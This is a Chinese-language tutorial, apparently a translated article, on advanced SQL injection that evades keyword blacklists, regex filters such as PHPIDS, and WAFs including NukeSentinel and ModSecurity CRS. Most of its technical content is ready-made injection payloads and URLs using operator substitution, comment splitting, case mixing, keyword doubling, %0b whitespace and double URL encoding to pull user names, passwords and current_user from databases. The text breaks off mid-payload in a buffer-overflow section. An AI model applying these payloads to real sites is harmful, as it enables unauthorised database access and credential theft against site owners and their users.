1. 程式人生 > >【SQL注入技巧拓展】————4、高階SQL注入:混淆和繞過

【SQL注入技巧拓展】————4、高階SQL注入:混淆和繞過

【0×01】 – 簡介

大家好,這是一篇致力於文件化我們所從事的高階SQL注入技術的文章。
本文將要揭示能用於現實CMSs和WAFs程式中的高階繞過技術和混淆技術。文中所提到的SQL注入語句僅僅是一些繞過保護的方法。還有一些其他的技術能用於攻擊WEB程式,但是很不幸我們不能告訴你,因為它們就是0day。不論如何,本文旨在揭示現實世界中沒有完全徹底的安全系統即使你在一個WAF上面花費了三十萬美元。
本文分為7個章節,僅有0×01到0×03章節是介紹技術內容的。
0×01章節我們將詳細介紹關於如何繞過基本的函式和關鍵詞過濾。0×02章節我們將給出常見的繞過技術用於繞過開源和商業性的WAF。0×03章節我們將分兩個小節來深入探討高階繞過技術:“HTTP引數汙染:分離和結合”和“HTTP引數參雜”。0×04章節我們將指導如何用正確的解決方案保護你的網站。在最後的0×05章節是對0×01到0×04章節的總結。

【0×01】 -過濾規避(Mysql)

本節將闡述基於PHP和MySQL的過濾規避行為以及如何繞過過濾。過濾規避是一種用來防止SQL注入的技術。這種技術可以用SQL函式,關鍵詞過濾或者正則表示式完成。這就意味著過濾規避嚴重依賴如何儲存一個黑名單或者正則表示式。如果黑名單或者正則表示式沒有覆蓋每一個注入情境,那麼WEB程式對於SQL注入攻擊來說仍舊是脆弱的。

【0x01a】 – 繞過函式和關鍵詞過濾

函式和關鍵詞過濾使用函式和關鍵詞黑名單來保護WEB程式免受攻擊。如果一個攻擊者提交了一個包含在黑名單中的關鍵詞或者SQL函式的注入程式碼,這個攻擊便會失效。然而,如果攻擊者能夠巧妙使用其他的關鍵詞或者函式來操作注入,那麼黑名單將無法阻止攻擊。為了阻止攻擊大量的關鍵詞和函式必須放到黑名單中。但是這也影響了使用者,當用戶想提交一個存在黑名單中的單詞時,使用者將無法提交,因為這個單詞已被黑名單過濾。接下來的情境展示了一些使用函式和關鍵詞過濾以及繞過技術的例子。

關鍵詞過濾:              and,or
PHP過濾程式碼:        preg_match(‘/(and|or)/I’,$id)

關鍵詞and,or常被用做簡單測試網站是否容易進行注入攻擊。這裡給出簡單的繞過使用&&,||分別替換and,or。

過濾注入:            1 or 1 = 1    1 and 1 = 1
繞過注入:            1 || 1 = 1    1 && 1 = 1

關鍵詞過濾:          and,or,union
PHP過濾程式碼:        preg_match (‘/(and|or|union)/I’,$id)

關鍵詞union通常被用來構造一個惡意的語句以從資料庫中獲取更多資料。

過濾注入:            union  select  user, password  from  users
繞過注入:            1 || (select  user  from  users  where  user_id = 1)=’admin’

** 注意:你必須知道表名,列名和一些表中的其他資料,否則你必須用別的語句從information_schema.columns中獲取。
舉例,使用substring函式獲取表名的每一個字元。

關鍵詞過濾:          and,or,union,where
PHP過濾程式碼:        preg_match(‘/(and|or|union|where)/I’,$id)

過濾注入:             1||(select  user  from  users  where  user_id = 1)= ‘admin’
繞過注入:             1||  ( select  user  from  users  limit  1)=’admin’

關鍵詞過濾:          and,or,union,where,limit
PHP過濾程式碼:        preg_match(‘/(and|or|union|where|limit)/I’,$id)

過濾注入:            1||(select  user  from  users  limit  1)=’admin’
繞過注入:            1||(select  user  from  users  group by user_id having user_id=1 )= ‘admin’

關鍵詞過濾:          and,or,union,where,limit,group by
PHP過濾程式碼:        preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)

過濾注入:            1||(select  user  from  users  group  by  user_id  having  user_id  =1)=’admin’
繞過注入:          1||(select  substr(group_concat(user_id),1,1) user  from  users  )=1

關鍵詞過濾:          and,or,union,where,limit,group by,select,’
PHP過濾程式碼:       preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id

過濾注入:            1||(select substr(group_concat(usr_id),1,1)user from users =1
繞過注入:            1|| user_id is not null
繞過注入:            1||substr(user,1,1)=0×61
繞過注入:            1||substr(user,1,1)=unhex(61)

關鍵詞過濾:            and,or,union,where,limit,goup by,select,’,hex,
PHP過濾程式碼:       preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)

過濾注入:            1||substr(user,1,1)=unhex(61)
繞過注入:            1||substr(user,1,1)=lower(conv(11,10,36))

關鍵詞過濾:          and,or,union,where,limit,group by,select,’,hex,substr
PHP過濾程式碼:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)

過濾注入:            1||substr(user,1,1)=lower(conv(11,10,36))
繞過注入:            1||lpad(user,7,1)

關鍵詞過濾:          and,or,union,where,limit,group by,select,’,hex,substr,white space
PHP過濾程式碼:        preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)

過濾注入:            1||lpad(user,7,1)
繞過注入:            1%0b||%0blpad(user,7,1)

從上面的例子中我們可以看出有大量的SQL語句可以用來繞過黑名單,雖然黑名單已經包含了很多關鍵詞和函式,此外,還有數不清的例子中沒有提到的SQL語句可以用來繞過黑名單。
建立一個更大的黑名單不是一個保護你網站的好注意。記住,過濾的關鍵詞和函式越多,對使用者越不友好。

【0x01b】 – 繞過正則表示式過濾

正則表示式過濾是一個比關鍵詞和函式過濾要好的阻止SQL注入的方法,因為它使用模式匹配來檢測攻擊。但是,很多正則表示式仍然能被繞過。下面以開源軟體PHPIDS 0.6舉例闡明用來繞過正則表示式的注入指令碼。
PHPIDS通常阻止包含=,(或者’ 跟隨一個字串或者整數輸入,比如1 or 1=1,1 or ’1’,1 or  char(97)。但是,它能被使用不包含=,(或者’符號的語句繞過。

過濾注入:             1 or 1 = 1
繞過注入:             1 or 1

過濾注入:             1 union select 1, table_name from information_schema.tables where table_name=’users’
過濾注入:             1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
過濾注入:             1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
繞過注入:             1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
繞過注入:             1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

【0x02】 - 常見繞過技術

在這個章節,我們將提到關於繞過WEB應用防護系統(WAF)的技術。首先我們需要認識一下什麼是WAF。
WEB應用防護系統(WAF)是一套裝置,服務擴充套件或者過濾器,對HTTP會話應用一系列的規則。一般來說,這些規則包含了常見的攻擊比如跨站指令碼攻擊(XSS)和SQL注入攻擊。很多攻擊可以通過制定符合自己程式的規則來識別和阻擋。花時間實現定製規則是有重要意義的,而且當WEB程式改變時需要維護。
WAF通常被稱做“深層次資料包檢測防火牆”,它們檢查HTTP/HTTPS/SOAP/XML-RPC/WEB服務在內的每一個請求和相應。一些現代的WAF系統同時檢查攻擊特徵和異常行為。
現在讓我們趕緊來了解如何用混淆技術來破壞WAF吧,只要花時間去理解它的規則以及運用你的想象所有WAF都能被繞過!

用註釋來繞過

SQL註釋能讓我們繞過許多繞過和WAF

http://croot.cnblogs.com/news.php?id+un/**/ion+se/**/lect+1,2,3--

變換大小寫

某些WAF僅過濾小寫的SQL關鍵詞
正則表示式過濾:/union\sselect/g

http://croot.cnblogs.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

替換關鍵詞

某些程式和WAF用preg_replace函式來去除所有的SQL關鍵詞。那麼我們能簡單的繞過。

http://croot.cnblogs.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

某些情況下SQL關鍵詞被過濾掉並且被替換成空格。因此我們用“%0b”來繞過。

http://croot.cnblogs.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

對於Mod_rewrite,註釋“/**/”不能繞過,那麼我們用“%0b”代替“/**/”。

被禁止的:http://croot.cnblogs.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過:http://croot.cnblogs.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

字元編碼

大多CMS和WAF將對程式的輸入進行解碼和過濾,但是某些WAF僅對輸入解碼一次,那麼雙重加密就能繞過某些過濾,這時WAF對輸入進行一次解碼並過濾與此同時程式繼續解碼且執行SQL語句。

http://croot.cnblogs.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

此外,這些技術結合起來可以繞過Citrix NetScaler

-去除所有“NULL”字元
-在某些部分使用查詢編碼
-去除單引號字元“’”
-爽去吧!
歸功於:Wendel Guglielmetti Henrique 和 Armorlogic Profense 較早的通過URL編碼換行符繞過2.4.4
#現例項子
NukeSentinel (Nuke Evolution)

// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}

我們能利用下面指令碼繞過它的過濾:

禁止: http://croot.cnblogs.com/php-nuke/?/**/union/**/select?..
繞過: http://croot.cnblogs.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
繞過: http://croot.cnblogs.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS  (歸功於:Johanners Dahse)

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-----------------------------------------------------------------------------

我們可以利用下面程式碼繞過它的過濾:

http://croot.cnblogs.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

從這個攻擊,我們可以繞過Mod Security。讓我們看看發生了什麼!!
MySQL Server支援3中註釋風格:

  • -從#字元開始到這一行的末尾
  • -從--序列開始到這一行的末尾
  • -從/*序列到下一個*/之間,如同C語言

此語法能夠使註釋延伸到多行,因為開始序列和閉合序列不必在同一行。
下面的例子我們用“%0D%0A”作為換行符。讓我們看看第一個請求(獲取DB 使用者)。SQL資料的結果看起來類似如下:

0 div 1 union #foo*/*/bar
select#foo
1,2,current_user

然而當SQL資料被MySQL DB執行的時候類似如下:

0 div 1 union select 1,2,current_user

緩衝區溢位
用C語言寫的WAF有溢位的傾向或者在裝載一串資料時表現異常。
給出一大串資料使我們的程式碼執行

http://croot.cnblogs.com/news.php?id=1+and+(select 1)=(select 0x